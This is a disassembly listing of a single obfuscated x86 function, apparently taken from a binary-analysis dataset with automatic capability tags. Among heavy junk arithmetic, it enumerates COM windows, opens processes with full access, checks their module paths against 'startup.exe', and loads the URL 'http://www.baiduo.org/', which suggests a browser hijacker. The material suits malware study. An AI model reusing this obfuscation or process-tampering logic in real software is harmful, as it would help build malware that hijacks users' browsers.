Function at 0x420100
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b18d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x112c
call fcn.004306c0
mov eax, dword [0x45e640]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x45cccc]
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov esi, dword [0x45ccd4]
mov eax, 0xbb03c5cb
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [ebp - 0x10cc], eax
mov eax, 0x44fc3a35
imul ecx
imul ecx, ecx, 0x1865
mov eax, dword [ebp - 0x10cc]
sar edx, 0xb
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x5c9900d1
imul esi
mov eax, dword [0x45cce8]
sar edx, 0xb
imul eax, eax, 0xa74
add ebx, ecx
add ebx, edx
mov ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1545
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
add ecx, eax
mov esi, dword [0x45cce4]
mov dword [str._r_____r____], ecx
mov ecx, dword [0x45ccd0]
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc09370e3
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1481
sub ebx, eax
sub ebx, edx
mov eax, 0x6f9f33f1
imul ecx
mov eax, dword [0x45ccc8]
sar edx, 0xb
xor edi, edi
mov esi, edx
shr esi, 0x1f
add ebx, edx
mov dword [ebp - 0x10fc], edi
mov dword [ebp - 4], edi
add esi, ebx
imul eax, eax, 0x1259
add esi, eax
mov eax, 0x2f1d432d
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov dword [0x45ccc8], ecx
mov dword [ebp - 0x10ec], edi
lea edx, [ebp - 0x10ec]
push edx
push 0x44d3b0
push 0x17
push edi
push 0x451a40
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ebx, eax
mov esi, dword [0x45ccd8]
mov ecx, dword [0x45ccc8]
mov eax, 0x44fc3a35
imul dword [0x45ccdc]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, esi
imul edi, edi, 0x1db0
sub edi, eax
mov edx, ecx
imul edx, edx, 0x1545
add edi, edx
mov eax, 0x6f9f33f1
imul esi
sar edx, 0xb
mov eax, edx
add edi, edx
mov edx, dword [0x45ccd0]
shr eax, 0x1f
add eax, edi
mov edi, dword [0x45cce8]
mov dword [ebp - 0x10cc], eax
mov eax, 0x5df55b35
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10cc]
sub edx, eax
mov eax, edi
imul eax, eax, 0xa74
add edx, eax
sub edx, dword [0x45cce4]
sub edx, 0x1259
test ebx, ebx
mov dword [0x45ccd0], edx
jge 0x42037a
mov ecx, dword [str._r_____r____]
lea edi, [esi + ecx]
imul ecx, ecx, 0x161e
mov esi, dword [0x45ccdc]
imul edi, edi, 0x1545
mov edx, esi
imul edx, edx, 0x1865
add edi, edx
mov eax, 0x5c9900d1
imul esi
sar edx, 0xb
add edi, edx
mov ebx, edx
mov eax, 0x6614bc37
imul esi
sar edx, 0xa
shr ebx, 0x1f
mov eax, edx
add ebx, edi
shr eax, 0x1f
add ebx, ecx
mov ecx, dword [0x45cce0]
add eax, edx
sub ebx, eax
lea edx, [ebx + ecx - 0x1259]
mov dword [0x45ccd4], edx
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 0
je 0x420373
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x422e2b
mov eax, 0x53f407b5
imul ecx, ecx, 0x161e
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd4]
sub ecx, eax
mov eax, 0x5c9900d1
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, edi
imul edx, edx, 0x1259
sub ecx, edx
mov eax, 0x61f60d03
imul edi
sar edx, 0xa
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x45cce0]
mov eax, 0x6614bc37
imul ecx
imul ecx, ecx, 0xa08
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, ecx
mov dword [0x45ccd8], eax
mov eax, dword [ebp - 0x10ec]
lea edx, [ebp - 0x1100]
push edx
mov dword [ebp - 0x1100], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ebx, dword [0x45cce4]
mov edi, dword [0x45cccc]
mov ecx, dword [0x45ccd0]
mov eax, 0x44fc3a35
imul ebx
sar edx, 0xb
lea eax, [ecx + edi]
imul eax, eax, 0x1ef5
mov esi, edx
mov dword [ebp - 0x10cc], eax
shr esi, 0x1f
add esi, edx
mov eax, 0x5c9900d1
imul ebx
mov eax, dword [ebp - 0x10cc]
sar edx, 0xb
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0xc09370e3
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1259
add edx, esi
mov dword [ebp - 0x10f4], esi
mov esi, dword [0x45cce0]
imul esi, esi, 0xade
sub ebx, eax
add edx, ebx
add esi, edx
mov dword [0x45ccdc], esi
mov eax, dword [ebp - 0x1100]
test eax, eax
je 0x42035f
mov edx, dword [0x45cce8]
imul esi, esi, 0x1259
lea ebx, [ecx + edx]
mov eax, 0x4227fdad
imul ebx, ebx, 0xae6
imul edx
sar edx, 0xb
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
sub eax, esi
mov esi, dword [0x45ccd8]
mov edx, esi
imul edx, edx, 0xade
add eax, edx
mov ebx, eax
mov eax, 0x5df55b35
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x45ccd4]
mov edx, eax
imul edx, edx, 0xa74
sub ebx, edx
mov edx, dword [ebp + 8]
test edx, edx
mov dword [0x45cce0], ebx
je 0x420594
mov ecx, dword [0x45ccc8]
lea edi, [ecx + eax]
mov eax, 0x4227fdad
imul edi, edi, 0xa08
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5c9900d1
imul esi
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x161e
add edi, edx
mov eax, 0x5df55b35
imul ecx
mov ecx, dword [ebp - 0x10f4]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, ecx
mov ecx, 0x570838
mov dword [0x45cce4], eax
call fcn.00413d20
mov edi, dword [0x45cccc]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccd8]
lea ebx, [esi + ecx]
imul ebx, ebx, 0x1865
mov edx, ecx
imul edx, edx, 0x161e
sub ebx, edx
mov eax, 0x5c9900d1
imul dword [0x45ccc8]
sar edx, 0xb
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, eax
mov eax, dword [0x45cce4]
imul eax, eax, 0x1259
sub edx, eax
mov dword [ebp - 0x10cc], edx
mov edx, dword [str._r_____r____]
mov eax, 0x2f1d432d
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10cc]
sub edx, eax
mov dword [ebp - 0x10cc], edx
mov eax, 0x6614bc37
imul dword [0x45ccc8]
mov eax, dword [ebp - 0x10cc]
sar edx, 0xa
mov ebx, edx
shr ebx, 0x1f
add eax, edx
add ebx, eax
mov dword [0x45cce8], ebx
mov dword [ebp - 0x10f8], 0
jmp 0x420630
mov edx, dword [ebp - 0x10f8]
cmp edx, dword [ebp - 0x1100]
jge 0x422da3
mov ecx, dword [0x45ccd4]
imul ebx, ebx, 0xa74
mov eax, 0x4227fdad
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xbb03c5cb
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov dword [ebp - 0x10c8], eax
mov eax, 0x44fc3a35
imul edi
imul edi, edi, 0x1865
mov eax, dword [ebp - 0x10c8]
sar edx, 0xb
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x5c9900d1
imul ecx
mov eax, dword [0x45ccdc]
imul eax, eax, 0x1545
sar edx, 0xb
add esi, edi
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
add ecx, eax
add ecx, ebx
mov dword [str._r_____r____], ecx
mov dword [ebp - 0x10e0], 0
mov eax, dword [ebp - 0x10f8]
mov word [ebp - 0x1120], 3
mov dword [ebp - 0x1118], eax
mov edi, dword [ebp - 0x1120]
mov ecx, dword [ebp - 0x10ec]
mov edx, dword [ecx]
lea esi, [ebp - 0x10e0]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x111c]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1114]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1120]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, dword [0x45ccd8]
mov ecx, dword [0x45ccc8]
mov eax, 0x44fc3a35
imul ecx, ecx, 0x1545
imul dword [0x45ccdc]
mov ebx, esi
imul ebx, ebx, 0x1db0
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x6f9f33f1
add ebx, ecx
imul esi
sar edx, 0xb
add ebx, edx
mov ecx, edx
mov edx, dword [0x45ccd0]
mov eax, 0x5df55b35
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0xa74
shr ecx, 0x1f
add ecx, ebx
sub ecx, eax
add ecx, edx
mov edx, dword [0x45cce4]
sub ecx, edx
sub ecx, 0x1259
test edi, edi
mov dword [0x45ccd0], ecx
jge 0x4207d0
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x421ddd
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x421dd1
mov edi, dword [0x45cccc]
mov eax, 0x44fc3a35
imul edx
lea ebx, [ecx + edi]
imul ebx, ebx, 0x1ef5
sar edx, 0xb
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [ebp - 0x10c8], eax
mov eax, 0x5c9900d1
imul dword [0x45cce4]
mov eax, dword [ebp - 0x10c8]
sar edx, 0xb
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0xc09370e3
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
sub ebx, eax
imul edx, edx, 0x1259
mov eax, dword [0x45cce0]
imul eax, eax, 0xade
add ebx, edx
add ebx, eax
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov dword [0x45ccdc], ebx
mov dword [ebp - 0x10d4], 0
je 0x420882
mov ecx, dword [eax]
lea edx, [ebp - 0x10d4]
push edx
push 0x44d3f8
push eax
call dword [ecx]
mov edi, dword [0x45cccc]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccd8]
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc09370e3
imul dword [0x45cce4]
add edx, dword [0x45cce4]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub ebx, eax
imul edx, edx, 0x1481
sub ebx, edx
mov eax, 0x6f9f33f1
imul ecx
sar edx, 0xb
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, dword [0x45ccc8]
imul eax, eax, 0x1259
add ebx, eax
mov eax, 0x2f1d432d
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [0x45ccc8], eax
mov eax, dword [ebp - 0x10d4]
test eax, eax
jne 0x420921
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x421de3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x421dd1
mov edx, dword [str._r_____r____]
mov eax, dword [0x45ccdc]
imul eax, eax, 0x1865
lea ebx, [esi + edx]
imul ebx, ebx, 0x1545
add ebx, eax
mov eax, 0x5c9900d1
imul dword [0x45ccdc]
sar edx, 0xb
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x161e
add ebx, eax
mov eax, 0x6614bc37
imul dword [0x45ccdc]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub ebx, eax
lea ebx, [ebx + edx - 0x1259]
mov dword [0x45ccd4], ebx
mov dword [ebp - 0x10e8], 0
imul esi, esi, 0xade
imul ebx, ebx, 0xa74
mov edx, dword [0x45cce8]
add ecx, edx
imul ecx, ecx, 0xae6
mov eax, 0x4227fdad
imul edx
sar edx, 0xb
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, eax
mov eax, dword [0x45ccdc]
imul eax, eax, 0x1259
sub ecx, eax
mov eax, 0x5df55b35
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add ecx, esi
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
sub ecx, ebx
lea edx, [ebp - 0x10e8]
push edx
mov dword [0x45cce0], ecx
mov ecx, dword [eax]
push eax
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
test eax, eax
jge 0x420a50
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x420a1f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 2
je 0x420a33
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x421dd1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x421dd1
mov esi, dword [0x45ccd4]
mov ecx, dword [0x45cce0]
mov eax, 0x5c9900d1
imul esi
mov edi, ecx
imul edi, edi, 0x1865
sar edx, 0xb
add edi, edx
mov ebx, edx
mov eax, 0xc09370e3
imul esi
mov eax, dword [0x45cce8]
add edx, esi
imul eax, eax, 0xa74
sar edx, 0xc
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov esi, edx
mov edx, dword [0x45cce4]
imul edx, edx, 0x1259
shr esi, 0x1f
add esi, ebx
add esi, edx
mov edx, dword [0x45cccc]
mov ebx, dword [ebp - 0x10e8]
sub esi, eax
mov eax, 0x6614bc37
imul edx
sar edx, 0xa
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
sub edi, dword [str._r_____r____]
add edi, 0xae6
test ebx, ebx
mov dword [0x45cccc], edi
mov dword [ebp - 0x10e4], 0
je 0x420b09
mov ecx, dword [ebx]
lea edx, [ebp - 0x10e4]
push edx
push 0x44d408
push ebx
call dword [ecx]
mov ebx, dword [ebp - 0x10e8]
mov edi, dword [0x45cccc]
mov ecx, dword [0x45cce0]
mov esi, dword [0x45ccc8]
mov eax, 0x53f407b5
imul esi, esi, 0x161e
imul dword [0x45cce8]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5c9900d1
imul dword [0x45ccd4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce8]
sub esi, eax
mov eax, edx
imul eax, eax, 0x1259
sub esi, eax
mov eax, 0x61f60d03
imul edx
sar edx, 0xa
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [ebp - 0x10c8], eax
mov eax, 0x6614bc37
imul ecx
imul ecx, ecx, 0xa08
mov eax, dword [ebp - 0x10c8]
sar edx, 0xa
mov esi, edx
shr esi, 0x1f
add eax, edx
add esi, eax
mov eax, dword [ebp - 0x10e4]
add esi, ecx
test eax, eax
mov byte [ebp - 4], 6
mov dword [0x45ccd8], esi
jne 0x420bf8
test ebx, ebx
mov byte [ebp - 4], 4
je 0x420bbb
mov ecx, dword [ebx]
push ebx
call dword [ecx + 8]
mov edi, dword [0x45cccc]
mov esi, dword [0x45ccd8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 2
je 0x420bdb
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov edi, dword [0x45cccc]
mov esi, dword [0x45ccd8]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x422d85
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x421dd1
push 0
call fcn.00430687
sub eax, dword [0x570a90]
add esp, 4
cmp eax, 0x708
jge 0x420f2d
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccd4]
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xbb03c5cb
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x44fc3a35
imul ecx
imul ecx, ecx, 0x1865
sar edx, 0xb
sub ebx, edi
mov edi, edx
add ebx, edx
mov eax, 0x5c9900d1
imul esi
mov eax, dword [0x45cce8]
shr edi, 0x1f
imul eax, eax, 0xa74
sar edx, 0xb
add edi, ebx
add edi, ecx
mov ecx, edx
add edi, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1545
shr ecx, 0x1f
add ecx, edi
add ecx, edx
add ecx, eax
mov eax, dword [ebp - 0x10d4]
lea edx, [ebp - 0x1110]
push edx
mov dword [str._r_____r____], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1110]
lea eax, [ebp - 0x1104]
push eax
push ecx
mov dword [ebp - 0x1104], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x45ccd4]
mov esi, dword [0x45cce0]
mov eax, 0x5c9900d1
imul ecx
mov edi, esi
imul edi, edi, 0x1865
sar edx, 0xb
add edi, edx
mov ebx, edx
mov eax, 0xc09370e3
imul ecx
add edx, ecx
mov ecx, dword [0x45cce8]
shr ebx, 0x1f
imul ecx, ecx, 0xa74
sar edx, 0xc
add ebx, edi
mov edi, dword [0x45cce4]
add ebx, edx
mov eax, edx
mov edx, edi
imul edx, edx, 0x1259
shr eax, 0x1f
add eax, ebx
add eax, edx
sub eax, ecx
mov ecx, dword [0x45cccc]
mov ebx, eax
mov eax, 0x6614bc37
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, ecx
add eax, 0xae6
mov dword [0x45cccc], eax
mov eax, dword [ebp - 0x1104]
test eax, eax
je 0x421cfd
mov edi, dword [0x45ccdc]
mov edx, dword [0x45ccd8]
lea ebx, [edx + ecx]
imul ecx, ecx, 0x161e
imul ebx, ebx, 0x1545
mov eax, edi
imul eax, eax, 0x1865
add ebx, eax
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
add eax, ecx
mov ebx, eax
mov eax, 0x6614bc37
imul edi
mov eax, dword [ebp - 0x1104]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push eax
sub ebx, ecx
push 0
lea edx, [ebx + esi - 0x1259]
push 0x1f0fff
mov dword [0x45ccd4], edx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x420f2d
mov ecx, dword [0x45cccc]
mov edx, dword [0x45ccd0]
mov edi, dword [0x45cce4]
lea ebx, [edx + ecx]
mov eax, 0x44fc3a35
imul ebx, ebx, 0x1ef5
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, eax
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov edi, edx
add ebx, edx
mov eax, 0xc09370e3
imul ecx
add edx, ecx
mov ecx, dword [0x45ccdc]
sar edx, 0xc
imul ecx, ecx, 0x1259
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
shr edi, 0x1f
imul edx, edx, 0xade
add edi, ebx
sub edi, eax
mov ax, word [0x44de2c]
add edi, ecx
mov cl, byte [0x44de2e]
add edi, edx
mov dword [0x45ccdc], edi
mov word [ebp - 0x2c4], ax
mov byte [ebp - 0x2c2], cl
xor eax, eax
push 0x100
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x2c4]
push edx
push 0
push esi
stosb byte es:[edi], al
call sub.PSAPI.DLL_GetModuleFileNameExA
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45ccc8]
lea esi, [ecx + eax]
mov ecx, dword [0x45ccd8]
imul esi, esi, 0xa08
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce4]
sub esi, eax
mov eax, 0x44fc3a35
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x161e
add esi, edx
mov eax, 0x5df55b35
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add esi, edx
lea ecx, [ebp - 0x2c4]
add eax, esi
push str.startup.exe
push ecx
mov dword [0x45cce4], eax
call fcn.0040d340
add esp, 8
test eax, eax
jne 0x421d81
mov eax, dword [0x45ccd4]
mov esi, dword [0x45ccc8]
mov ecx, dword [0x45ccd8]
lea edi, [esi + eax]
mov eax, 0x4227fdad
imul edi, edi, 0xa08
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce4]
sub edi, eax
mov eax, 0x44fc3a35
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x161e
add edi, edx
mov eax, 0x5df55b35
imul ecx
mov ecx, dword [ebp - 0x10fc]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [0x45cce4], eax
mov eax, dword [ebp + 8]
inc ecx
test eax, eax
mov dword [ebp - 0x10fc], ecx
je 0x422c8e
push ecx
lea edx, [ebp - 0x10d4]
mov ecx, esp
mov dword [ebp - 0x10d0], esp
push edx
call fcn.00407f90
mov ecx, 0x570838
call fcn.00407330
test al, al
jne 0x422c88
mov esi, dword [0x45cccc]
mov edi, dword [0x45ccd4]
mov eax, 0x4227fdad
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xbb03c5cb
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [ebp - 0x10c8], eax
mov eax, 0x44fc3a35
imul esi
imul esi, esi, 0x1865
mov eax, dword [ebp - 0x10c8]
sar edx, 0xb
add eax, edx
mov ebx, edx
mov ecx, dword [0x45cce8]
shr ebx, 0x1f
imul ecx, ecx, 0xa74
add ebx, eax
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
add ebx, esi
mov esi, edx
add eax, ecx
imul esi, esi, 0x1545
add eax, ebx
add esi, eax
mov eax, 0x44fc3a35
imul edx
sar edx, 0xb
mov eax, edx
mov dword [str._r_____r____], esi
mov esi, dword [0x45ccd8]
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
mov edi, esi
imul edx, edx, 0x1545
imul edi, edi, 0x1db0
sub edi, eax
add edi, edx
mov eax, 0x6f9f33f1
imul esi
sar edx, 0xb
add edi, edx
mov esi, edx
mov edx, dword [0x45ccd0]
mov eax, 0x5df55b35
imul edx
sar edx, 0xa
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add esi, edi
mov edi, dword [0x45cce4]
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10d4]
sub esi, edi
lea ecx, [esi + ecx - 0x1259]
mov dword [0x45ccd0], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1108]
push ecx
push eax
call dword [edx + 0x78]
mov ecx, dword [0x45cccc]
mov edx, dword [0x45ccd0]
mov esi, dword [0x45cce4]
lea edi, [edx + ecx]
mov eax, 0x44fc3a35
imul edi, edi, 0x1ef5
imul esi
sar edx, 0xb
mov ebx, edx
add edi, edx
mov eax, 0x5c9900d1
imul esi
sar edx, 0xb
mov esi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0xc09370e3
imul ecx
add edx, ecx
mov ecx, dword [0x45ccdc]
sar edx, 0xc
imul ecx, ecx, 0x1259
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0xade
shr esi, 0x1f
add esi, ebx
sub esi, eax
mov eax, dword [ebp - 0x1108]
add esi, ecx
add esi, edx
push eax
mov dword [0x45ccdc], esi
call fcn.00425e50
mov ecx, dword [0x45cccc]
mov dword [ebp - 0x10c8], eax
mov esi, dword [0x45ccd4]
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xbb03c5cb
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x44fc3a35
imul ecx
imul ecx, ecx, 0x1865
sar edx, 0xb
sub ebx, edi
add ebx, edx
mov edi, edx
mov eax, 0x5c9900d1
imul esi
mov eax, dword [0x45cce8]
shr edi, 0x1f
imul eax, eax, 0xa74
sar edx, 0xb
add edi, ebx
add edi, ecx
add edi, edx
mov ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1545
shr ecx, 0x1f
add ecx, edi
add ecx, edx
add ecx, eax
mov eax, dword [ebp - 0x10e4]
mov dword [str._r_____r____], ecx
mov ecx, dword [eax]
xor edi, edi
lea edx, [ebp - 0x110c]
push edx
push eax
call dword [ecx + 0x90]
mov ecx, dword [0x45ccd4]
mov ebx, dword [0x45cce0]
mov esi, eax
imul ebx, ebx, 0x1865
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [ebp - 0x10d8], eax
mov eax, 0xc09370e3
imul ecx
mov eax, dword [ebp - 0x10d8]
add edx, ecx
mov ecx, dword [0x45cce8]
sar edx, 0xc
imul ecx, ecx, 0xa74
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, dword [0x45cce4]
imul eax, eax, 0x1259
add ebx, eax
sub ebx, ecx
mov ecx, dword [0x45cccc]
mov eax, 0x6614bc37
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [str._r_____r____]
add eax, ebx
sub eax, edx
add eax, 0xae6
test esi, esi
mov dword [0x45cccc], eax
jne 0x4212c5
mov ecx, dword [ebp - 0x110c]
push ecx
call fcn.00425e50
mov edi, eax
push 0
call fcn.00430687
sub eax, dword [0x5707f4]
add esp, 4
cmp eax, 5
jle 0x4223ba
test edi, edi
je 0x4212f9
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4212e7
sub eax, edx
cmp eax, 5
ja 0x4223ba
mov esi, dword [0x45ccdc]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45ccd8]
lea edi, [edx + ecx]
imul ecx, ecx, 0x161e
imul edi, edi, 0x1545
mov eax, esi
imul eax, eax, 0x1865
add edi, eax
mov eax, 0x5c9900d1
imul esi
sar edx, 0xb
add edi, edx
mov ebx, edx
mov eax, 0x6614bc37
imul esi
shr ebx, 0x1f
sar edx, 0xa
add ebx, edi
add ebx, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cce0]
sub ebx, ecx
lea eax, [ebx + edx - 0x1259]
mov dword [0x45ccd4], eax
mov eax, str.http:__www.baiduo.org_
lea ecx, [ebp - 0x1c4]
lea esp, [esp]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x421370
